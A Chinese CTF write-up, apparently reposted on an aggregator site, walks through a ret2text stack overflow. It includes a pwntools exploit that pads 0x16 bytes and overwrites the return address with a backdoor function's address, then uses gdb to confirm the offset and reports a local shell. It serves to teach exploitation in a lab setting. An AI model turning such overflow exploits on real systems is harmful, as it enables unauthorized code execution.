用gdb的动态视角看ret2text的实现

news/2025/10/27 18:20:40/文章来源:https://www.cnblogs.com/JiuTian521/p/19169794

来看一道非常简单的栈溢出

image

ctfshow函数里面有read函数,最多可以读0x32个字节

image

image
后门函数地址ida里很明显,0x8048521

exp本身不难写,下面看一下怎么用gdb确定偏移

'from pwn import*
io=process("./pwn")
#io=remote("pwn.challenge.ctf.show",28175);
gdb.attach(io,"b main") #在main函数下断点
payload=b"A"*(0x12+0x4)+p32(0x8048521)
io.sendline(payload)
io.interactive()

image
一直按n让运行到汇编代码的ctfshow处,按s单步进入

image

可以看到read函数,走到read函数,看到read函数在0xffffcfc6处读入数据
image
stack看一下栈
image

0xffffcfd8 是当前函数的栈底,指向的0xffffcfe8是上一个函数的栈底(old_ebp)

用0xffffcfd8减去0xffffcfc6得到0x12,这也就对上了ida里的偏移量

我们退出,输入fini直接运行完,可以看出已经覆盖了0x12+0x4个字节,并且我们的后门函数地址已经成功覆盖到了ebp下的返回地址,
image

我们继续按n走到后门函数,将后门函数压栈,按c得到system/bin/sh,(只是本地调试,因此没有flag文件)
image

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/947987.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

go包装bing搜索

package mainimport ("fmt""io""net/http""net/url""strings""github.com/PuerkitoBio/goquery" )func BingSearch(query string, num_results int) {//…

2025年临沂代理记账公司推荐排行及口碑好的靠谱公司解析

文章摘要 本文深入分析2025年临沂代理记账行业趋势,探讨如何基于口碑、排行和推荐选择靠谱代理记账公司。重点推荐华恒财税,其拥有财政局授权许可证、专业会计团队和三对一服务,服务山东省临沂市企业,解决财税、工…

上周动手动脑补交

https://files.cnblogs.com/files/blogs/847689/动手动脑3.zip?t=1761560090&download=true

网络同步学习记录

引擎选择 既然目标是DS架构那么,必须是源码版。需要从github上拉取源码并编译。 CS就像我的世界开放到局域网那种。服务端也是客户端。 DS就像腐竹开的服务器那样,专门的服务器,甚至是纯Linux的命令行环境,都没有图…

ZR 2025 NOIP 二十连测 Day 9

100 + 100 + 40 + 10 = 250, Rank 67/130.25noip二十连测day9 链接:link 题解:题目内 时间:4h (2025.10.27 14:00~18:00) 题目数:4 难度:A B C D\(\color{#F39C11} 橙\) \(\color{#52C41A} 绿\)*1000 *1600估分:…

1027随笔

今天开始要拍上课视频了。 我现在手上就只有三节课的视频,为什么呢——手机没内存了。 我寻思先把视频传过去吧,内容量太大无法传输。 额,压缩吧,10个g压到2.5个g。 然后关于专业的事-就把作业写了,也就不到100行…

阿斯顿

阿斯顿阶段 业务理解 数据理解 数据分析 模型训练 模型评价 模型部署任务 确定业务目标 原始数据收集 数据筛选 算法确定 评价结果 模型发布•背景 •数据描述 数据清洗 •算法选择 •评价模型产出 •发布说明•业务目…

交换机VOQ机制

virtual output queuing机制,是一种被广泛使用的内部调度机制,为了解决队头阻塞问题(head of line Blocking,hol blocking) 虚拟输出队列(Virtual Output Queuing, VOQ)是一种在高速交换机和路由器中广泛采用的…

ask_skill

如果目标是为防御做资产盘点或研究,应在获得所有者明确授权或在只扫描/管理你自身网络范围内进行;或者通过官方渠道(例如厂商、云/平台运营方或 ISP 与执法机构)请求协作或求助

最小树形图

给定一个有权有向图 \(G=\langle V,A\rangle,w:A\mapsto\mathbb{R}\) 和一个根 \(r\in G\),求以 \(r\) 为根的最小生成树,满足每条边都是父亲指向儿子(外向树)。暴力做法 不失一般性,我们可以简单的 \(O(|V|+|A|)…

网络安全资源大全:助你紧跟前沿威胁与防御技术

本文详细介绍了网络安全专家常用的各类资源,包括黑客新闻网站、技术博客、威胁情报平台、YouTube技术频道、社交媒体专家和网络安全播客,帮助读者构建完整的学习和情报获取体系。帮助我保持领先的网络安全资源 如何跟…

详细介绍:【Ubuntu 20.04升级python3.9后终端打不开的bug】

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

SVN 主分支合并之通过主分支合并子分支执行流程

pre { white-space: pre !important; word-wrap: normal !important; overflow-x: auto !important; display: block !important; font-family: "Consolas", "Monaco", "Courier New", …

鼾声识别芯片方案和睡眠产品的应用场景

相关数据显示,中国约有1.5亿人存在睡觉打鼾的情况。随着年龄的增睡觉打鼾人群的占比越高,30岁以上人群中约30%打鼾,40岁以上人群约为40%,而到了65岁以后,这一比例会达到约50%。改善打鼾的几种方式 调整睡眠姿势 通…

Win11 使用 QEMU 虚拟机运行 VC6 的可行性

有些学校或者老师仍然在要求学生必须使用 VC6 来学习 C 语言基础。但是现在的 Win11 已经逐渐开始停止支持 VC6 这个上古时期的 IDE 的运行。 有的时候不是要建议学生换用现代的 IDE 来学习,而是学校或者老师要求学生…

20232415 2025-2026-1 《网络与系统攻防技术》实验三实验报告

一、实验目的 1.利用msfvenom生成多种类型的文件及其多次编码版本 2.利用veil生成恶意代码 3.利用C语言结合shellcode生成恶意文件 4.利用upx压缩壳以及hyp加密壳技术实现免杀 5.开启杀软后回连实测 二、实验过程 接下…

2025年工程管理软件公司综合推荐榜:助力建筑行业数字化升级

随着建筑行业数字化进程加速、工程质量监管趋严及项目管理效率需求提升,工程管理软件已从大型建筑企业专属工具,逐步渗透至中小型建筑公司、监理单位、验房机构及各类工程项目现场。2025年,工程管理软件市场规模预计…

2025年离心式喷雾干燥机权威推荐榜单:小型喷雾干燥机/大型喷雾干燥机/离心喷雾干燥机源头厂家精选

随着制药、食品、化工等行业对粉体质量要求不断提升,离心式喷雾干燥机市场呈现专业化、智能化发展趋势。据行业数据统计,2025年中国离心喷雾干燥设备市场规模预计达42亿元,年增长率稳定在12%,其中智能化控制系统渗…

Win11 使用 Copy v86 在线网页运行 VC6 学习 C 语言的可行性

Win11 使用 Copy v86 在线网页运行 VC6 学习 C 语言的可行性 首先,程序员节快乐。有些学校或者老师仍然在要求学生必须使用 VC6 来学习 C 语言基础。但是现在的 Win11 已经逐渐开始停止支持 VC6 这个上古时期的 IDE 的…